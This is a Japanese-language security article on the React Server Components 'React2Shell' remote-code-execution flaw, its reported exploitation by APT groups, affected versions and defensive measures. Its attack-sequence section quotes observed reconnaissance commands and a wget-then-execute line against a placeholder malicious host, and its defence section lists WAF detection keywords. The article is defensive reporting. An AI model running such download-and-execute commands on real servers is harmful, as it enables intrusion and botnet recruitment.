現代のWeb開発エコシステムにおいて、最も信頼され、広く採用されている基盤技術が、かつてない深刻な脅威に晒されている。2025年に入り、React Server Components(RSC)の中核技術である「Flight」プロトコルに、致命的な脆弱性が発見された。識別子CVE-2025-55182、通称「React2Shell」と呼ばれるこの脆弱性は、認証を必要とせずにサーバー上で任意のコードを実行(RCE)できるという、セキュリティ上最悪のシナリオを現実に引き起こしている。

事態をさらに深刻化させているのは、この情報が公開されるや否や、中国に関連するとされる高度なサイバー攻撃グループ「Earth Lamia」および「Jackpot Panda」が、即座に大規模な悪用キャンペーンを開始したことだ。AWS(Amazon Web Services)上のハニーポット(囮サーバー)では、Linuxコマンドの実行やファイルシステムの操作を試みる攻撃通信が観測されており、金融、物流、政府機関といった重要インフラが標的となっている。

本稿では、この緊急事態の技術的背景、攻撃の手口、そして組織が取るべき防衛策について、業界の構造変化というマクロな視点を交えて見ていきたい。

AD

React2Shell (CVE-2025-55182) の技術的本質:なぜ「Flight」が狙われたのか

今回の脆弱性が極めて危険である理由は、それがReactエコシステムの「未来」そのものであるReact Server Components(RSC)の根幹部分に存在するためだ。

RSCと「Flight」プロトコルの役割

React 19以降、およびNext.js App Routerにおいて標準化が進むRSCは、コンポーネントをサーバー側でレンダリングし、その結果をクライアントに送信する仕組みである。この際、サーバーとクライアント間でデータをやり取りするために使用されるのが、独自のシリアライズ(直列化)プロトコルであるFlightだ。

Flightプロトコルは、サーバー上で生成されたUIツリー構造やデータを、ネットワークを通じて送信可能な形式に変換する。クライアント(ブラウザ)はこれを受け取り、Reactコンポーネントとして復元(デシリアライズ)する。このプロセスは、通常であれば高速なページ表示とバンドルサイズの削減を実現する革新的な技術である。

信頼なきデシリアライズの悪夢

CVE-2025-55182の本質は、このFlightプロトコルが受信データを処理する際の「デシリアライズ処理の不備」にある。具体的には、攻撃者が細工されたFlight形式のペイロード(悪意あるデータを含むリクエスト)をサーバーのエンドポイントに送信すると、サーバー側のパーサーがその内容を検証せずに処理してしまう。

この際、特定のオブジェクト型や関数呼び出しを含むデータを送り込むことで、Reactの内部処理を悪用し、サーバーの基礎となるOS(多くの場合はLinux)のシェルコマンドを呼び出すことが可能になる。これが「React2Shell」という通称の由来である。

従来のWeb脆弱性(XSSやCSRFなど)が主にクライアント(ユーザーのブラウザ)を標的としていたのに対し、この脆弱性はバックエンドサーバーそのものを乗っ取ることを可能にする。サーバー側でJavaScriptが実行されるNode.js環境等の特権レベルでコードが動くため、データベースへのアクセス、環境変数の奪取、さらには内部ネットワークへの横展開(ラテラルムーブメント)までが、攻撃者の意のままになってしまうのである。

攻撃の解剖学:AWSハニーポットが捉えた「Earth Lamia」の手口

セキュリティ研究機関やAWS上のハニーポットが捕捉したデータは、攻撃のスピードと正確さを物語っている。脆弱性情報の公開からわずか数時間後には、概念実証(PoC)コードを応用した攻撃スクリプトがインターネット上を飛び交い始めた。

観測された攻撃シーケンス

ハニーポットのログ解析から、攻撃者グループ「Earth Lamia」および「Jackpot Panda」による攻撃は、以下のような定型化されたシーケンスを辿ることが判明している。

  1. Reconnaissance(偵察):
    攻撃者はまず、ターゲットとなるサーバーがReact 19.xまたはNext.js App Routerを使用しているかを識別する。HTTPレスポンスヘッダーや、RSC特有のネットワークリクエスト(rsc パラメータなど)がスキャンの指標となる。
  2. Payload Delivery(ペイロード送信):
    脆弱なエンドポイントに対し、Base64などでエンコードされた悪意あるFlightペイロードをPOSTリクエストとして送信する。このペイロード内には、Node.jsのchild_processモジュールなどを呼び出すための命令が巧みに隠蔽されている。
  3. Initial Access(初期侵入):
    サーバー側でペイロードがデシリアライズされると、即座にコマンドが実行される。観測された初期コマンドには以下のようなものがある。
    • whoami, id: 実行権限の確認。
    • uname -a: カーネルバージョンの確認。
    • cat /proc/cpuinfo: ハニーポットかどうかの判定(CPU情報の確認)。
  4. Establish Persistence & Exploit(永続化と悪用):
    ここからが実質的な被害フェーズである。攻撃者は外部サーバーからマルウェアやバックドアツールをダウンロード・実行する。
    • wget http://[malicious-ip]/payload.sh -O /tmp/.x
    • chmod +x /tmp/.x && /tmp/.x
    これにより、サーバーはボットネットの一部として組み込まれるか、あるいは機密データの流出経路として利用されることになる。

中国系脅威アクターの関与と狙い

今回、攻撃主体として名前が挙がっている「Earth Lamia」や「Jackpot Panda」は、これまでもアジア圏の政府機関やハイテク企業を標的としてきたことで知られる、中国に関連するAPT(Advanced Persistent Threat)グループである。

筆者は、彼らがこの脆弱性に目を付けた理由を以下のように分析する。

第一に、影響範囲の広さと質の高さだ。ReactおよびNext.jsは、スタートアップだけでなく、Fortune 500企業の多くがデジタルトランスフォーメーション(DX)の中核として採用している。特に金融(FinTech)や物流システムにおいて、リアルタイム性の高いダッシュボードや管理画面にNext.jsが採用されているケースは枚挙に暇がない。

第二に、検知の難しさだ。Flightプロトコルの通信はバイナリに近い独自のテキスト形式であり、従来のWeb Application Firewall(WAF)の標準的なルールセットでは、ペイロード内の悪意あるコードを「正常な通信」と誤認して通過させてしまう可能性が高い。攻撃者はこの「死角」を突き、防御が手薄なアプリケーション層から深部への侵入を図っている。

AD

フロントエンドとバックエンドの境界消失が招くリスク

今回のCVE-2025-55182は、単なる「コードの書き間違い」以上の問題を提起している。それは、モダンWeb開発におけるパラダイムシフトがもたらした構造的なリスクである。

「Isomorphic」の代償

過去10年、Web開発はJavaScript(TypeScript)による単一言語化が進んだ。Node.jsの登場、そしてReact Server Componentsによるサーバーサイドレンダリングの進化は、開発効率を劇的に向上させた。しかし、これは同時に「フロントエンドエンジニアがバックエンドのセキュリティリスクを管理しなければならない」という状況を生み出した。

以前であれば、バックエンドはJavaやGo、PHPなどで厳格に構築され、フロントエンドとは明確に分離されていた。しかし、Next.jsのApp Routerのようなアーキテクチャでは、サーバー上で実行されるコードとブラウザ上で実行されるコードが同じファイル内に混在することも珍しくない。

開発者が「UIを作る感覚」で書いたコードが、実はサーバー上で特権を持って動作しており、そこにFlightプロトコル経由で外部入力が流し込まれる――この複雑性が、今回の脆弱性を生む温床となったと言えるだろう。React2Shellは、Web開発の「利便性」と「堅牢性」のトレードオフが、極限まで張り詰めた結果生じた亀裂なのである。

影響を受けるバージョンとセクター別リスク分析

この脆弱性の影響は広範囲に及ぶが、特に以下の環境を使用している組織は即時の対応が必要である。

影響を受ける技術スタック

  • React: バージョン 19.x 系列(19.0.0 〜 19.0.2 ※修正パッチ適用前)
  • Next.js: App Routerを使用しているすべてのバージョン(React 19への依存がある場合)
  • その他: RSCのFlightプロトコルを実装しているその他のフレームワークやライブラリ

ターゲットセクターの分析

  1. 金融セクター(FinTech / 銀行):
    オンラインバンキングや取引プラットフォームの管理画面にReactが多用されている。攻撃者はここから顧客データベースへのアクセス権を奪取し、不正送金や恐喝を試みる可能性がある。
  2. 物流・サプライチェーン:
    在庫管理システムや配送追跡システム。これらがダウンすれば、物理的な物流網の混乱を引き起こすことが可能であり、攻撃者にとっては身代金要求(ランサムウェア)の格好の材料となる。
  3. 政府・公共機関:
    市民向けポータルサイトなど。情報の改ざんや、機密情報の窃取による諜報活動(サイバースパイ)のリスクが高い。

AD

防衛戦略:パッチ適用と多層防御の徹底

この脅威に対抗するためには、開発者とインフラ管理者が連携し、迅速かつ多層的な防御策を講じる必要がある。

1. 即時のパッチ適用(最優先)

何をおいても優先すべきは、ReactおよびNext.jsのバージョンアップである。ReactチームおよびVercel社(Next.jsの開発元)は、既に修正パッチをリリースしている。

  • package.json の依存関係を確認し、react, react-dom を修正済みバージョン(例: 19.0.3以降)に更新する。
  • Next.jsを使用している場合は、next パッケージを最新の安定版にアップグレードする。

パッチ適用後は、必ずビルドプロセスを再実行し、本番環境にデプロイすることを忘れてはならない。ライブラリを更新しただけでは、既にデプロイ済みのアプリケーションコードには反映されないからだ。

2. WAFルールの強化とモニタリング

パッチ適用までのタイムラグを埋めるため、またはゼロデイ攻撃への備えとして、WAF(AWS WAF, Cloudflare等)の設定を見直す必要がある。

  • 異常なペイロードのブロック: リクエストボディに含まれるFlightプロトコル特有のシグネチャに加え、child_processexecspawn といった不審なキーワードが含まれていないか検査するカスタムルールを追加する。
  • レートリミッティング: 特定のIPアドレスからの過剰なRSCリクエストを制限し、スキャン行為を妨害する。

3. イミュータブル(不変)なインフラストラクチャの徹底

コンテナ技術(Docker/Kubernetes)やサーバーレスアーキテクチャ(AWS Lambda, Vercel)を活用している場合、ファイルシステムをRead-Only(読み取り専用)に設定することで被害を最小限に抑えられる。攻撃者がRCEに成功したとしても、ファイルシステムにマルウェアを書き込めなければ、永続化(Persistence)を防ぐことができるからだ。

4. エグレス(送信)トラフィックのフィルタリング

サーバーから外部への通信(Outbound Traffic)を厳格に制限することも重要だ。Webサーバーが自らインターネット上の不明なサーバーに wgetcurl を投げる必要性は通常ない。許可されたAPIエンドポイントやデータベース以外への通信をファイアウォールで遮断することで、攻撃者のC2(Command & Control)サーバーとの通信を断つことができる。

セキュリティ・バイ・デザインの再考

CVE-2025-55182「React2Shell」は、ReactとNext.jsのエコシステムにとって警鐘となる事件である。Earth Lamiaのような高度な攻撃者が即座に反応したという事実は、現代のサイバー戦において、人気のあるオープンソース技術がいかに重要な「戦場」となっているかを示している。

テクノロジーの進化は止まらない。しかし、我々は「パフォーマンス」や「開発体験(DX)」を追求するあまり、「安全性」という土台を疎かにしてはいないだろうか? サーバーサイドレンダリング技術の普及に伴い、フロントエンドエンジニアにもサーバーセキュリティの深い知識が求められる時代が到来している。

この脆弱性は修正されるだろうが、構造的なリスクは残る。組織は、単にパッチを当てるだけでなく、監視体制の強化、最小権限の原則の徹底、そして開発者のセキュリティ教育といった、包括的なセキュリティ態勢の見直しを迫られているのである。今こそ、コードの1行1行がビジネスを守る盾であることを再認識すべき時だ。


Sources